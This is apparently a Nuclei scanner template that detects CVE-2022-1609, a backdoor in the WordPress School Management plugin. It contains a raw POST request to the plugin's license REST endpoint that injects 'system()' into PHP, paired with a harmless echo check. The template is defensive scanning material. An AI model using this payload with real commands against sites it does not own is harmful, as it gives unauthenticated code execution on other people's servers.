id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-1609
    cwe-id: CWE-77
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress
variables:
  cmd: "echo CVE-2022-1609 | rev"

http:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '9061-2202-EVC'
# digest: 490a0046304402200209a2def69d339038a75f3d914c80251c3e17b4565e9d96c6234b61c71cab9e022010cab7fefd396d0edbd1c67edc3c8fd25177eaae5282b3a1559ce44bb63a4426:922c64590222798bb761d5b6d8e72950